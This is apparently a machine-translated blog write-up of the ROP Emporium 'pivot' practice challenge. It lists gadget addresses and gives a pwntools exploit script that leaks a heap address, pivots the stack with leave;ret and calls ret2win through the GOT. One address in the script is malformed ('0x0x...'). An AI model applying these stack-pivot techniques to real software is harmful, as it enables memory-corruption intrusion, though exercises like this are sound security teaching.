当前位置:网站首页>pivot ROP Emporium
pivot ROP Emporium
2022-07-03 21:51:00 【Brandy King】
open ida, Found a heap space , And tell us the address , It seems that we should make use of stack space

open .so file , There is still a function that can open files

But the function's plt It didn't show up , That is to say, we cannot directly use
Here is a function that gives a hint , Prompt us , utilize function Of .plt Indirect access ret2win The address of

Next, let's try to run it once function Of plt, send got Table update , And then got Address after table update , Put the content on the heap , Then use stack offset to run to the heap .payload1 It's in the pile ,payload2 It's in the stack .
0x00000000004006b0 : call rax
0x00000000004009c0 : mov rax, qword ptr [rax] ; ret
0x00000000004009c4 : add rax, rbp ; ret
0x00000000004009bb : pop rax ; ret
0x00000000004007c8 : pop rbp ; ret
0x00000000004009bd : xchg rax, rsp ; ret
from pwn import *
binary = "./pivot"
io = process(binary)
elf = ELF(binary)
lib = ELF("./libpivot.so")
leave_ret=0x0x0000000000400740
pop_rax = 0x4009bb
pop_rbp = 0x4007c8
mov_rax_rax = 0x4009c0
add_rax_rbp = 0x4009c4
call_rax = 0x4006b0
foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = int(lib.sym['ret2win']-lib.sym['foothold_function'])
leakaddr = u64(io.recv(6).ljust(8,b'\x00'))
payload_1 = p64(foothold_plt)
payload_1 += p64(pop_rax)
payload_1 += p64(foothold_got)
payload_1 += p64(mov_rax_rax)
payload_1 += p64(pop_rbp)
payload_1 += p64(offset)
payload_1 += p64(add_rax_rbp)
payload_1 += p64(call_rax)
io.sendline(payload_1)
payload_2 = "a" * 32
payload_2 += p64(leave_ret)
payload_2 += p64(leakaddr-8)
io.recvuntil(">")
io.sendline(payload_2)
print (io.recvall())
边栏推荐
- Goodbye 2021, how do programmers go to the top of the disdain chain?
- Leetcode daily question 540 A single element in an ordered array Valentine's Day special article looking for a single dog in a pile of lovers ~ the clown is myself
- QFileDialog
- Control loop of program (while loop)
- Station B, dark horse programmer, employee management system, access conflict related (there is an unhandled exception at 0x00007ff633a4c54d (in employee management system.Exe): 0xc0000005: read locat
- Leetcode problem solving - 230 The k-th smallest element in the binary search tree
- MySQL -- standardize database design
- Global and Chinese market of wall mounted kiosks 2022-2028: Research Report on technology, participants, trends, market size and share
- Cognitive fallacy: what is Fredkin's paradox
- Getting started with postman -- built-in dynamic parameters, custom parameters and assertions
猜你喜欢

Mysql - - Index

Talk about daily newspaper design - how to write a daily newspaper and what is the use of a daily newspaper?

Day 9 HomeWrok-ClassHierarchyAnalysis

Borui data and Sina Finance released the 2021 credit card industry development report

Study diary: February 14th, 2022

Farmersworld farmers world, no faith, how to talk about success?

Goodbye 2021, how do programmers go to the top of the disdain chain?

MySQL——索引

90 後,辭職創業,說要卷死雲數據庫

Après 90 ans, j'ai démissionné pour démarrer une entreprise et j'ai dit que j'allais détruire la base de données Cloud.
随机推荐
Advanced collaboration: coroutinecontext
4. Data splitting of Flink real-time project
MySQL——规范数据库设计
Development mode and Prospect of China's IT training industry strategic planning trend report Ⓣ 2022 ~ 2028
抓包整理外篇——————autoResponder、composer 、statistics [ 三]
Great gods, I want to send two broadcast streams: 1. Load basic data from MySQL and 2. Load changes in basic data from Kafka
[secretly kill little buddy pytorch20 days -day02- example of image data modeling process]
MySQL——索引
Service discovery and load balancing mechanism -service
How PHP drives mongodb
How to store null value on the disk of yyds dry inventory?
Study diary: February 14th, 2022
Luogu deep foundation part 1 Introduction to language Chapter 6 string and file operation
Cognitive fallacy: what is dimensional curse
Leetcode problem solving - 235 Nearest common ancestor of binary search tree
On my first day at work, this API timeout optimization put me down!
Cognitive fallacy: Wittgenstein's ruler
Implementation principle of inheritance, encapsulation and polymorphism
Go language slice interview real question 7 consecutive questions
UC Berkeley proposes a multitask framework slip